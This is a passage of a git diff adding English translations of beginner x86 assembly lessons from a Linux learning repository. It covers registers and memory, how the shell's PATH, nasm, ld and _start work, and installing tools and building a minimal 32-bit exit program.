+> 💡 Forward-note: Actually *following* a pointer — going to the address inside it and grabbing the value there — takes an instruction. We'll do that with real syntax in [08_mov_ve_bellek](./08_mov_ve_bellek.md). For now it's enough for the idea to settle: **a box can hold the location (address) of another box.** If you've firmly grasped the address/value distinction, you've already understood half of what a pointer is.
+
+---
+
+## A Close Look at Registers
+
+In 01 we got to know registers as "the boxes in the worker's pocket, instantly accessible, few in number," and we heard a few of their names (EAX, EBX, ECX, EDX). Now let's zoom in on them too.
+
+**How many are there?** In x86's 32-bit world there's a handful of "general-purpose" registers. The main four are `EAX`, `EBX`, `ECX`, `EDX`; to these are added `ESI` and `EDI`; and there are two more "special-duty" ones, `ESP` and `EBP` (we'll meet them in [14_stack](./14_stack.md)). In total a bit more than the fingers on one hand — that promise from 01 is this concrete.
+
+**How big are they?** Here we pay off one of 03's debts. In 03 you saw a line like this:
+
+```
+ Example from 03: ebx = 0xffffd6a4
+ └────┬────┘
+ 8 hex digits
+
+ 1 byte = 2 hex digits → 8 hex digits = 4 byte = 32 bit
+ This is EXACTLY how much a register holds: 32 bit = 4 byte.
+```
+
+So a register holds a 4-byte number. By the "powers of 2" logic from 03, this means a range from 0 up to `2³² − 1` (exactly 4,294,967,295, or roughly 4.3 billion). Let's set it next to a memory box:
+
+```
+ Memory box: 1 byte → 0 .. 255
+ Register: 4 byte → 0 .. ~4.3 billion (exactly 2³² - 1)
+```
+
+> 💡 Forward-note: If you noticed, up to here we've always counted **from 0 upward** — both in the box and in the register. But what about negative numbers, say −7? They fit in these same bits too, no need to invent a separate box; but the question "*how* is a negative number written with these switches?" we'll open up when we see signed numbers and flags ([10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md)). For now it's enough to say "the range is on the positive side."
+
+If you noticed, this connects to the previous section: a register carries exactly as much number as 4 memory boxes. When you drop what's inside a register into the warehouse, that value spreads across 4 consecutive boxes — which is the very thing we meant by "big number = several boxes."
+
+> 💡 Why are registers so few but so fast? Because physically they're **inside the worker itself** — on the processor. The pocket is in the worker's apron; the warehouse is across the room. What's close is fast but space is expensive (that's why there are few); what's far is plentiful but slow. We're not digging into the deep physical reasons; the intuition "close = fast + few, far = slow + plentiful" is more than enough for now.
+
+> 💡 Forward-note: The letters in the register names (A, B, C, D) and that leading "E" aren't random — there's a small but pleasant bit of history behind them. For the curious, I've told it in the [Appendix](#appendix--where-does-the-e-in-eax-come-from-history-and-reasons) at the very end; for now just think of the names as labels.
+
+---
+
+## The Worker's Real Dance: Between Warehouse and Pocket
+
+Now we come to the heart of this lesson. We've seen the two parts (warehouse + pocket) separately; but what does the worker do all day long? The answer is a **shuttling back and forth** between these two.
+
+The key rule is this: the worker does its real work — adding, subtracting, comparing — almost always **in its pocket**, that is, in the registers. It can't just grab a box sitting on a shelf in the warehouse and "play with it"; it first has to pull it into its pocket. That's why nearly every task has this three-step shape:
+
+```
+ WORKER (registers in its pocket)
+ ┌───────────────────────────┐
+ │ [EAX] [EBX] ... │
+ └───────────────────────────┘
+ ▲ FETCH │ STORE
+ │ (warehouse → pocket) ▼ (pocket → warehouse)
+ ┌─────────────────────────────────────────┐
+ │ WAREHOUSE (memory): numbered boxes │
+ └─────────────────────────────────────────┘
+
+ PROCESS = do it in the pocket (add / subtract / compare)
+```
+
+- **FETCH:** Bring the number(s) you need from the warehouse into the pocket. (memory → register)
+- **PROCESS:** Do it in the pocket — add, subtract, compare. (on the registers)
+- **STORE:** If you need to keep the result, put it back from the pocket into the warehouse. (register → memory)
+
+A concrete example (not a real instruction yet, just a plain-language draft):
+
+```
+ Task: add the number in box 100 to the number in box 200,
+ write the result to box 300.
+
+ FETCH : box 100 → EAX (warehouse to pocket)
+ FETCH : box 200 → EBX (warehouse to pocket)
+ PROCESS: add EBX to EAX (in pocket; now EAX = sum)
+ STORE : EAX → box 300 (pocket to warehouse)
+```
+
+As you can see, the whole job amounts to pulling from the warehouse into the pocket, handling it in the pocket, and if necessary dropping it back into the warehouse. This **fetch → process → store** pattern is the skeleton of nearly every program you'll write. When you see the real instructions in Unit 1, you'll recognize this shape again and again.
+
+> ⚠️ Let's head off a confusion here from the start. **fetch → do → advance** (01) and **fetch → process → store** are NOT the same thing:
+> - **fetch-do-advance:** the rhythm the worker reads *commands* — it turns once per instruction: fetch the next command, apply it, advance to the next command.
+> - **fetch-process-store:** the pattern of moving *data* between warehouse and pocket — the big picture of most programs. It's what happens inside the "do" steps above.
+>
+> In short: while individual instructions cycle through fetch-do-advance, the pattern they produce all together is fetch-process-store.
+
+> 🔑 In Unit 1 you'll meet an instruction called `mov` — that's the instruction that does the **FETCH** and **STORE** above ([08_mov_ve_bellek](./08_mov_ve_bellek.md)). **PROCESS** is the arithmetic instructions ([09_aritmetik](./09_aritmetik.md)). So this dance is nothing but the plain-language draft of the real instructions you're about to learn.
+
+> 💡 An honest little note: x86 sometimes allows shortcuts too (there are cases where you can touch a memory box directly, without always pulling into the pocket). But the basic pattern you need to keep in your head is fetch-process-store; I'll mention the exceptions when the time comes.
+
+---
+
+## The Program Lives in These Boxes Too
+
+Up to now we've always thought of the boxes as being for **data**: numbers, letters, the health in a game. But in 01 we said in passing "you put the program into memory." Let's complete that picture now: the program **itself** also lives in the same boxes.
+
+How can that be? Because every instruction the worker knows is, at the very bottom, again a **number** — the machine encodes each command with a certain number. So your "list of commands" is really just numbers written into consecutive boxes. Let's tie it to 03: those instructions you'll write in assembly live in memory as hex numbers.
+
+This also clarifies the exact meaning of the word "**fetch**" in fetch-do-advance: the worker **reads the next command from memory, from a box.** The warehouse that's there for data is also where the program lives.
+
+> 🔑 Memory holds both **data** and the **program** — both are, in the end, numbers in boxes. The "fetch" of "fetch-do-advance" means pulling the next instruction from one of these boxes.
+
+> 💡 Forward-note: The idea that "code is really data / numbers in memory" is a powerful insight that will open many doors down the road. For now we're just completing the picture: the warehouse isn't filled only with data, it's also the home of the program.
+
+---
+
+## The Worker's Finger Is a Register Too
+
+Let's close Unit 0 with one last connection. In 01, as a small 💡, we said this: "the worker holds the information 'which line of the list am I on right now,' as if keeping its finger over the line it's reading." We can now say what that finger is.
+
+That finger is a special pocket box — that is, a **register.** So what does it hold inside? The **memory address** of the next command: that is, the information of which box the worker will read its next command from.
+
+```
+ Special register ("finger") MEMORY (the program is here too)
+ ┌──────────┐ Address
+ │ 0x.... │ ──────────────────► ... ┌─────────┐
+ └──────────┘ now → │ command │ ← read from here (FETCH)
+ holds an ADDRESS inside └─────────┘
+ (which box number), ...
+ not a VALUE
+```
+
+Notice how this is a nice closing for this section's address/value lesson: this register holds not a **value** but an **address** — it carries the "which box" information, not what's inside that box. The thing we distinguished two sections ago comes in handy right here.
+
+Now let's re-read fetch-do-advance with this finger register:
+
+```
+ FETCH : read the command in the box the finger points to
+ DO : apply the command literally
+ ADVANCE: slide the finger to the box where the next command sits
+```
+
+And the "**jump / leap**" instructions we previewed in 01? They're exactly this: putting **another address** into this finger register. You make the finger jump to whichever line of the list you want — decisions and loops arise exactly this way ([11_ziplamalar](./11_ziplamalar.md)).
+
+> 💡 Forward-note: This special register's name in x86 is **EIP** (Instruction Pointer). You don't have to memorize it; when you step through the program one at a time with GDB, you'll see the finger walk from box to box *live* ([07_gdb_tek_adim](./07_gdb_tek_adim.md)). At that moment you'll say "ah, so this is what it was."
+
+> 🔑 All of Unit 0 in one breath: **memory** = numbered boxes that hold data and the program; **registers** = a few fast boxes inside the worker (one of them the finger, holding "where are we right now"); **the worker** = a very fast but very dumb being that processes the command the finger points to with fetch-do-advance, and the data with the fetch-process-store dance. That's what a computer is.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Memory box = exactly 1 byte = 8 switches = 0..255. Addresses are consecutive (0,1,2,...), usually hex.
+ - The box's NUMBER = address. The box's INSIDE = value. (Still completely separate!)
+☐ Big number (over 255) = several consecutive boxes together. (Ordering: later, in gdb.)
+☐ The same number can be a VALUE in one place, an ADDRESS in another; its role is set by the COMMAND you give the worker.
+ - "A box can hold another box's address" → the seed of the later pointer (not opening it now).
+☐ Register = fast pocket box inside the worker; FEW in number (EAX,EBX,ECX,EDX,ESI,EDI + ESP,EBP).
+☐ One register = 32 bit = 4 byte = 0..~4.3 billion. (The answer to the 8-digit "ebx = 0xffffd6a4" from 03.)
+☐ The worker's real dance: FETCH (warehouse→pocket) → PROCESS (in pocket) → STORE (pocket→warehouse). The skeleton of programs.
+ - CAREFUL: fetch-do-advance = COMMAND reading rhythm; fetch-process-store = DATA moving pattern. Don't mix them up.
+☐ The program lives in memory too: commands are numbers as well. "Fetch" = reading the next command from a box.
+☐ The worker's "finger" = a special register; it holds the ADDRESS of the next command inside it (in x86 its name is EIP).
+ - Jumping/leaping = putting another address into this finger.
+☐ Unit 0 is done: you now have the full picture in your head. In Unit 1 we'll write and run real code for the FIRST TIME.
+```
+
+---
+
+## Appendix — Where Does the "E" in EAX Come From? (History and Reasons)
+
+> This section is for the curious. If you skip it, it won't get in the way of understanding the rest of the lesson at all — but if you asked above "why A, B, C, D, and why the leading E?", the answer (and its short story) is here.
+
+### First the letters: A, B, C, D aren't random
+
+In the first x86 processors (8086/8088, 1978), the registers had specific roles, and their names came from those roles:
+
+```
+ AX → Accumulator : where the calculation "accumulates" (sums, results)
+ BX → Base : was used as the "base" in memory addressing
+ CX → Counter : counter — the repeat count of loops
+ DX → Data : extra data / helper in multiply-divide
+```
+
+Today most of these count as "general-purpose" — that is, you can put them to almost any job you want. But the names stuck, and some instructions **still** prefer certain registers (for example some loop/counter instructions like ECX, some multiply instructions like EAX/EDX). We'll see these in the relevant lessons as they come up. So they're "general-purpose" but not exactly equal — keep this small honest note in your pocket.
+
+### Then the leading "E": Extended
+
+On the old machines these registers were **16-bit** — that is, AX, BX, CX, DX held 16 bits (2 bytes). With the 80386 processor (1985) the registers were extended to **32 bits**. This extended form was called "**E**xtended AX" → **EAX**. So the leading E, in short, means "extended, 32-bit version."
+
+The nice part: the old 16-bit AX didn't disappear — today AX lives on as the name for accessing the **lower 16 bits** of EAX:
+
+```
+ EAX (32 bit)
+ ┌───────────────────────────────────┐
+ │ │ AX │ AX = lower 16 bits of EAX
+ │ │ (16 bit) │
+ └───────────────────────────────────┘
+```
+
+(As for AX itself being split internally into two bytes called AH and AL — and why that means "not separate boxes, but different windows onto the same bits" — we look at that in the very next short interlude lesson, [04.5_registerin_ici](./04.5_registerin_ici.md). For now it's enough to say "AX is the small form of EAX.")
+
+### And afterward: RAX (64-bit)
+
+Let's complete the story: on 64-bit machines the same register grew once more, became 64 bits, and its name became **RAX** (the R here from "register," a bit arbitrary). So the same pocket box has three sizes it has grown into:
+
+```
+ AX (16-bit) → EAX (32-bit) → RAX (64-bit)
+```
+
+In this course we work at the **32-bit (EAX)** tier. But if you see AX, EAX, or RAX somewhere, you now know: they're all the same register at different sizes.
+
+> 🔑 Summary: The letters (A/B/C/D) came from old special roles; the leading **E** = Extended (16→32-bit expansion). AX(16) → EAX(32) → RAX(64) are three sizes of the same box. Our world is EAX.
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The source of the box/register/worker model we deepened in this lesson
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — Going one level deeper inside the registers: AL, AH, and "same bits, different window"
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — Where the "fetch → store" dance is done with real instructions
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — The lesson where you'll watch registers, addresses, and the "finger" walking, live
+
+---
+
+**Previous topic:** [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md)
+**Next topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
new file mode 100644
index 0000000..1ad5847
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05.5_perde_arkasi.md
@@ -0,0 +1,150 @@
+# 🔧 x86 Assembly — Behind the Curtain: What Did Those Commands Actually Do?
+
+> In 05 you wrote three commands and the program ran: `nasm`, `ld`, `./ilk`. It worked — but
+> if something is nagging at you about "what exactly happened behind the curtain?", this lesson is just for you.
+> We unpack three good "why"s one by one: how the shell finds the program, why you still need
+> `ld` even though `nasm` already assembled it, and whether the word `_start` is really "magic".
+
+> **This lesson is an optional deep dive.** If you finished 05 you can go straight to 06, you won't
+> miss anything. But if one of the questions above is nagging at you too, the answers are here — and all of them
+> **tested** on my own machine, with real output. We're still not memorizing new commands; we're just understanding what happened.
+
+---
+
+## 📋 Table of Contents
+
+- [Why Do We Write `./ilk`?](#why-do-we-write-ilk)
+- [If `nasm` Assembled It, Why Do We Need `ld`?](#if-nasm-assembled-it-why-do-we-need-ld)
+- [Is `_start` a Magic Word?](#is-_start-a-magic-word)
+
+---
+
+## Why Do We Write `./ilk`?
+
+In 02 we typed `ls`, `echo` and they ran without anything in front of them. But when you call your own program `ilk` it can't find it — you absolutely need `./ilk`. Is the worker blind? No. The issue is **where the shell looks for the command.**
+
+When you type `ls`, the shell doesn't pull it out of thin air; it searches a fixed list of folders called the **PATH**. This list looks something like:
+
+```
+ PATH = /usr/bin : /bin : /usr/local/bin : ... (folder after folder)
+ │
+ └─ "ls" sits here (/usr/bin/ls) → found → ran
+```
+
+Programs like `ls`, `echo` live in one of these folders; the shell walks the list, finds them, runs them. But your `ilk` program is **in the folder you're in** (say `~/Desktop`), and that folder is **not** on this list. Result:
+
+```
+ "ilk" → shell looks in the PATH folders → not there → "command not found"
+ "./ilk" → "don't look at the list at all, run the ilk in EXACTLY THIS FOLDER" → runs
+```
+
+So why isn't the folder you're in on the PATH? **Security.** If it were searched automatically, someone could give a malicious program the name `ls` and drop it in a folder; when you `cd` into there and type `ls`, you'd unknowingly run theirs instead of the real `ls`. That's why the folder you're in is never searched automatically — if you're going to run something from there, you have to say so **explicitly**.
+
+`./` says exactly that: `.` = "this folder", `/` = separator. So `./ilk` = "run the `ilk` that is **right here, in this folder**." It means: don't trust the list, I'm telling you the location.
+
+> 🔑 The shell searches for commands in a folder list called the **PATH**. `ls` is on that list; your new program isn't. `./` = "don't look at the list, run the one **in this folder**." The folder you're in not being on the list isn't a flaw, it's a deliberate **security** measure.
+
+---
+
+## If `nasm` Assembled It, Why Do We Need `ld`?
+
+What `nasm` does is clear: it assembles the asm you wrote into machine code and gives you `ilk.o`. A reasonable question: since it's already been assembled into the numbers the worker understands, why can't we run it directly instead of `ld` stepping in between? There's no other "to-be-combined" piece around either.
+
+The answer: that `.o` file **isn't a full program yet** — in your words, a half-baked cake. When I ask the `file` command, it plainly distinguishes the two:
+
+```
+ ilk.o : ELF 32-bit ... relocatable ← "relocatable" = not yet runnable
+ ilk : ELF 32-bit ... executable ← the actual program (runs)
+```
+
+I tried forcing the `.o` to run (`chmod +x ilk.o; ./ilk.o`) and the kernel cut it short:
+
+```
+ ./ilk.o → Exec format error
+ (kernel: "this is not a runnable program")
+```
+
+So the `.o` really can't run; something is missing. `nasm` produced the machine code, but for the program to be loadable by the operating system, two more things are needed, and **`ld` adds them:**
+
+1. **The program "envelope" (headers).** A running program wants a cover that tells the kernel "load me at this spot in memory, start me from here (entry point), and what permission each part has." The `.o` doesn't have this cover.
+2. **Addresses getting finalized.** In the `.o`, some addresses hold a blank spot marked "to be filled once everything is placed in memory". `ld` decides the final layout and fills those blanks.
+
+And the name "linker" really comes from this: in big programs there are **many** `.o` files and ready-made libraries. `ld`'s job is to link a `call` in one file to a function in another file and stitch them all into a **single** program. In yours there's no piece to be linked from outside — but `ld` is still required because it does the "envelope + address" work above.
+
+```
+ nasm ld
+ ──────► ilk.o ──────────► ilk
+ (relocatable) (executable)
+ half-baked envelope + addresses done
+ CAN'T run alone runs
+```
+
+> 🔑 There are two separate jobs: **`nasm`** *assembles* a file's text into machine code (`.o`); **`ld`** *turns* those pieces into a real, loadable program (envelope + final addresses + stitching the pieces). The `.o` is a half-baked cake; `ld` makes it serviceable. The reason there are two steps: so you can assemble many files separately and combine them all in one go at the very end.
+
+---
+
+## Is `_start` a Magic Word?
+
+This is the cleverest question, and its answer confirms the very thesis of 01 ("the worker knows no words, only numbers"). In short: **`_start` is not for the worker (CPU), it's for the TOOLS.**
+
+The worker **never sees** the word `_start`. By the time the program runs, that word has long since turned into a **number — an address**. The worker just starts running from a certain address; it has no idea that address was once called "_start".
+
+So who cares about this word? **`ld`.** When it's setting up the program, it needs the information "**which address should it start from?**" (the entry point), and **by default it looks for a label named `_start`** and treats its address as the "start". So `_start` is a silent **agreement** between you and `ld`: "this is the name of the start."
+
+So why do we write `_start` **twice** in the program — one `global _start`, one `_start:`? Two separate jobs: `_start:` (with the colon at the end) **hangs the label** on that line, saying "this is _start". `global _start` **announces** that label **outward, to `ld`** — "let the outside of the file see this name too." Without `global`, the label stays only inside the file; `ld` wouldn't be able to find the `_start` it looks for as the default start. So `_start:` *sets* the name, `global` makes it *visible*.
+
+I tried this — I made the label `_basla` instead of `_start`:
+
+```
+ nasm -f elf32 basla.asm -o basla.o
+ → no problem. nasm didn't care about the name at all; to it, a label is just a label.
+
+ ld -m elf_i386 basla.o -o basla
+ → ld: warning: cannot find entry symbol _start; defaulting to 08049000
+ (ld: "I couldn't find the '_start' start you promised me, so I'm putting the
+ entry at the beginning of the code." In this tiny program the beginning of the
+ code happens to be exactly _basla's first instruction, so the program DOESN'T
+ crash, it runs fine — indeed I tried it, the exit came back 42. Danger only
+ arises if your start label isn't at the beginning of the code, i.e. if the
+ entry accidentally lands on data or in the middle of another instruction; that's
+ why in real/big programs _start is still expected.)
+
+ ld -m elf_i386 -e _basla basla.o -o basla
+ → ran. ("-e _basla" = telling ld "the entry point is _basla")
+```
+
+So you can write `_basla`, or `_bismillah` too — the only condition is telling `ld` "the start is this" with `-e `. The word isn't magic; it's just the name `ld` **defaults** to expecting, and it can be changed with a flag.
+
+And the beautiful part is that this is exactly the topic of **[01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md):** labels like `_start` exist purely for humans and tools. By the time `nasm`+`ld` finish their job, every name has turned into a number (address); the worker runs on numbers, the names evaporate. Meaning, again, is not inside the number, it's in the agreement.
+
+> 🔑 `_start` is not for the worker, it's for `ld`; it's `ld`'s default "start" name. If you want, you put another name and say `ld -e `. Once assembled, all names turn into numbers (addresses) — the worker never sees `_start`. (This is the live form of the idea in 01.5 that "meaning is given not by the name but by the agreement/code".)
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ The shell searches for the command on the PATH (folder list). ls is there; your program isn't.
+ - ./ilk = "don't look at the list, run the one in THIS folder." The folder not being on the list = security.
+☐ nasm assembles → ilk.o (relocatable, half-baked, CAN'T run → "Exec format error").
+ ld → ilk (executable). ld adds: program envelope (headers) + final addresses + stitching the pieces.
+ - Two steps, because: so you can assemble many files separately and combine them at the very end.
+☐ _start isn't magic: not for the worker, for ld. It's ld's default "start" name.
+ - Another name → tell it with ld -e . (nasm doesn't care about the name.)
+ - Once assembled, all names turn into numbers/addresses; the worker never sees _start. (01.5!)
+```
+
+---
+
+## 🔗 Related Topics
+
+- [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md) — Where you first used these three commands (`nasm`, `ld`, `./`)
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Meaning is given by the agreement, not the name" — the root of why `_start` isn't magic
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — The ground where the shell, running commands, and the PATH come up
+
+---
+
+**Previous topic:** [05_kurulum_ve_ilk_program.md](./05_kurulum_ve_ilk_program.md)
+**Next topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
new file mode 100644
index 0000000..8f5e9e2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/05_kurulum_ve_ilk_program.md
@@ -0,0 +1,211 @@
+# 🚀 x86 Assembly — Setup and Your First Program
+
+> Throughout Unit 0 we built up what goes on inside the machine's head without writing a single line of code. That patience now pays off.
+> In this lesson, for the first time, you install the real tools, write your first real program, assemble it, and **run it.**
+> The program will do almost nothing — on purpose. Because the hero here isn't the program, it's the chain itself:
+> how the text coming out of your keyboard turns into a real program the processor runs.
+
+> **This is the first time there's code — but don't be scared.** You don't need to fully understand the asm you'll write just yet; writing a few lines like
+> a **closed box** and seeing that the chain works is enough. What those lines actually do we'll open up one by one in the coming lessons.
+> The only goal of this lesson: get the tools installed, and let you say "I ran a program."
+
+---
+
+## 📋 Table of Contents
+
+- [Three Tools: nasm, ld, gdb](#three-tools-nasm-ld-gdb)
+- [Install the Tools](#install-the-tools)
+- [Write Your First Program](#write-your-first-program)
+- [Write → Assemble → Run](#write--assemble--run)
+- [Did It Work? (Nothing Happened!)](#did-it-work-nothing-happened)
+- [Step by Step, What Happened?](#step-by-step-what-happened)
+- [If You Got an Error](#if-you-got-an-error)
+
+---
+
+## Three Tools: nasm, ld, gdb
+
+In 00 we said this: **you write assembly → a program translates it into machine code → the processor runs those numbers.** Now we're actually installing that "translating program" (and a couple of its friends). We have three tools:
+
+- **`nasm`** — the *assembler* (translator). It turns lines you write like `mov eax, 5` into the numbers (machine code) the processor actually reads. This is our main tool.
+- **`ld`** — the *linker* (combiner). It turns the raw piece nasm produces into a real program the operating system can load into memory and **run**.
+- **`gdb`** — the *debugger* (watcher). It lets you step through a program one instruction at a time and watch what happens inside. In this lesson we're only **installing** it; we'll start using it in [07_gdb_tek_adim](./07_gdb_tek_adim.md).
+
+For now, just keep in mind: **`nasm` translates, `ld` combines, `gdb` watches.**
+
+---
+
+## Install the Tools
+
+Depending on which Linux distribution you use, type **one** of the lines below into the terminal. (If you don't know which one: if you use Ubuntu/Mint, the first; if you use an Arch-based one —CachyOS, Manjaro— the second; if you use Fedora, the third.)
+
+**Debian / Ubuntu / Linux Mint:**
+```
+sudo apt install nasm binutils gdb
+```
+
+**Arch / Manjaro / CachyOS:**
+```
+sudo pacman -S nasm binutils gdb
+```
+
+**Fedora:**
+```
+sudo dnf install nasm binutils gdb
+```
+
+(`binutils` is the package that includes `ld`; it's already installed on most systems, but we listed it just to be safe.)
+
+Once the installation is done, check that it installed correctly:
+
+```
+nasm --version
+```
+
+You should see a line like this: `NASM version 2.16.01`. If you saw it, your tool is ready.
+
+> 💡 `sudo` means "do this with administrator privileges," which is why it may ask for your password. Because **installing** a program is a job that touches the system, it requires privileges — this is exactly the "changing the system requires a password" situation we touched on in 02.
+
+---
+
+## Write Your First Program
+
+Now we'll write your first program. With a text editor (`nano` in the terminal, or VS Code, whatever you use), create a file named **`ilk.asm`** and write exactly this inside it:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 1 ; the number for saying "end the program" (sys_exit)
+ mov ebx, 0 ; exit code: 0
+ int 0x80 ; call the kernel: "do what I said"
+```
+
+Don't worry, we won't dig through it line by line — but knowing roughly what's going on is enough:
+
+- **`section .text`** → means "from here on are the **instructions** the worker will carry out." (The code section of the program.)
+- **`global _start`** and **`_start:`** → the marker telling the worker "start the program **here**." `_start` is where the worker will read the first order. (Recall the sentence from 01: "you tell the worker 'start from this line'.")
+- The **three lines** below → for now a **closed box.** All together they're the way of saying "end the program cleanly." What `mov` does we'll explain in [06_ilk_gercek_program](./06_ilk_gercek_program.md), and what `int 0x80` (i.e. "calling the kernel") is we'll fully explain in [17_sistem_cagrilari](./17_sistem_cagrilari.md). Right now you don't even need to memorize it — just write it.
+
+> 💡 If you're using `nano`: open it with `nano ilk.asm`, type the above, then **Ctrl+O** (save) → **Enter** → **Ctrl+X** (exit). The parts starting with `;` are *comments* (the worker doesn't see them, they're just notes to you); you can skip writing them if you want.
+
+---
+
+## Write → Assemble → Run
+
+Your file is ready. Now we'll turn it into a program the processor can run and then run it. In the folder where `ilk.asm` lives, three commands in order:
+
+**1) Assemble** (asm text → machine code):
+```
+nasm -f elf32 ilk.asm -o ilk.o
+```
+`nasm` reads your file and translates it into machine code. `-f elf32` means "give the output in **32-bit** ELF format" (we're writing 32-bit x86). Result: an intermediate file named `ilk.o` (*object*).
+
+**2) Link** (object → executable program):
+```
+ld -m elf_i386 ilk.o -o ilk
+```
+`ld` turns that intermediate file into a real executable program. `-m elf_i386` means "link as **32-bit** (i386)." Result: a program named `ilk` that you can run.
+
+**3) Run:**
+```
+./ilk
+```
+The leading `./` means "run the `ilk` program **in this folder**."
+
+> 💡 **You might wonder:** *"We're compiling 32-bit; don't I need to install an extra 32-bit library (multilib)? The internet said so."* No — our program uses no library at all, it calls the kernel directly (`int 0x80`). So what comes out is a standalone, self-contained (*statically linked*) 32-bit program; nothing extra is needed. (If we link to the C library later, that's a separate topic.)
+
+---
+
+## Did It Work? (Nothing Happened!)
+
+You typed `./ilk`, hit Enter, and... nothing happened. No text appeared on screen, the prompt came back. **Don't panic — this is exactly what's expected.**
+
+Our program doesn't do anything; it just says "I was born, I immediately ended." We'll teach writing to the screen in [17_sistem_cagrilari](./17_sistem_cagrilari.md). So the absence of output isn't a bug, it's **by design.**
+
+So how will we know it worked? Let's ask the program for its **exit code**. Type this:
+
+```
+echo $?
+```
+
+What you'll see:
+
+```
+0
+```
+
+This `0` means "the program ended **cleanly, without errors**" (0 = no problem). This is the proof that the chain ran from start to finish: you wrote it, it assembled, it linked, it ran, it exited cleanly.
+
+> 💡 **If you're using a different shell:** `echo $?` works in bash and zsh (the defaults on most systems). But some shells like **fish** call this variable `$status` — if you're in fish, `echo $?` gives you an error; use `echo $status` instead (same result). Not sure? If `echo $?` gives an error, that shell uses `$status`; switch to it. (`echo $SHELL` also tells you which shell you're in.)
+
+> 💡 `echo $?` asks "**what was the exit code of the last program that ran?**" For now it's 0, because we wrote `mov ebx, 0` in our program. In [06_ilk_gercek_program](./06_ilk_gercek_program.md) **you** will decide this number — we'll put something else in `ebx` and make `echo $?` report it. Your first "the number I put came out on screen!" moment will be there.
+
+---
+
+## Step by Step, What Happened?
+
+What you just did was actually the picture we drew in 01-04 **becoming real for the first time.** Let's loop back and connect it:
+
+```
+ 1) You wrote a text (ilk.asm) → an order list close to the worker's language
+ 2) nasm translated it to MACHINE CODE → to numbers (like B8 05 00 00 00 from 00) → ilk.o
+ 3) ld turned it into an EXECUTABLE program → into a form the kernel can load → ilk
+ 4) You said ./ilk:
+ - the kernel put the program into memory (the storehouse)
+ - told the worker "start from _start"
+ - the worker carried out the instructions with fetch-do-advance
+ - reaching int 0x80 it said "I'm done," control returned to you (the prompt)
+```
+
+So that fancy phrase "running a program" ([01_bilgisayar_nedir](./01_bilgisayar_nedir.md)) was exactly this: putting your list of orders into memory, telling the worker "start," and it carrying out the list. Now you've done this **with your own hands.**
+
+---
+
+## If You Got an Error
+
+Getting an error on the first try is very likely — and as we said in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md), an error isn't your enemy, it's a **clue.** The most common ones you'll hit:
+
+- **`nasm: command not found`** (or `ld: command not found`) → the tool isn't installed. Go back to the **installation** step above and install the packages.
+- **`ilk.asm:5: error: ...`** → there's a typo in your asm file. nasm tells you **which line** it's on (5 in the example); go to that line and compare it letter by letter with the code above.
+- **`ld: cannot find ilk.o`** → the `nasm` step before the `ld` step didn't succeed (i.e. `ilk.o` was never created). First run the `nasm` command without errors, then `ld`.
+- If a command came back without printing anything (silence) → usually a **good** sign; it means that step finished without a problem. (The worker doesn't talk unnecessarily, remember.)
+
+Don't be afraid of typing a command wrong — worst case you get an error message, you fix it, you try again. That's the usual loop anyway: write → error → read → fix.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ Three tools: nasm (asm→machine-code translator), ld (linker), gdb (watcher; we'll use it in 07).
+☐ Install: with apt / pacman / dnf nasm binutils gdb. Verify: nasm --version
+☐ First program skeleton:
+ section .text + global _start + _start: + (closed box for now) 3-line clean exit
+☐ The chain (in the folder where ilk.asm lives):
+ nasm -f elf32 ilk.asm -o ilk.o (assemble: asm → object)
+ ld -m elf_i386 ilk.o -o ilk (link: object → program)
+ ./ilk (run)
+☐ Nothing showing up is NORMAL: the program says "born-then-ended."
+ echo $? → 0 = clean exit (in the fish shell: echo $status). In 06 you'll decide this number.
+☐ 32-bit but multilib NOT NEEDED: our program is library-free, statically linked.
+☐ Error = clue: most of the time either the tool isn't installed or there's a typo.
+☐ This whole chain = the real form of the "write → put in memory → let the worker run it" picture we drew in Unit 0.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Where the "you write → nasm translates → the processor runs" chain is first told
+- [05.5_perde_arkasi.md](./05.5_perde_arkasi.md) — Behind the scenes of the commands you wrote in this lesson (`./`, `nasm`/`ld`, `_start`)
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Putting a value into a register with `mov` and seeing the exit code in `echo $?`
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — Where `int 0x80` (calling the kernel) is fully explained
+
+---
+
+**Previous topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+**Next topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
new file mode 100644
index 0000000..49bb570
